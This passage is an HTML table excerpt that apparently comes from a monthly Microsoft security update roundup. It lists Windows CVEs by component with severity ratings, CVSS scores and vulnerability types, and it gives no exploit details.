  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
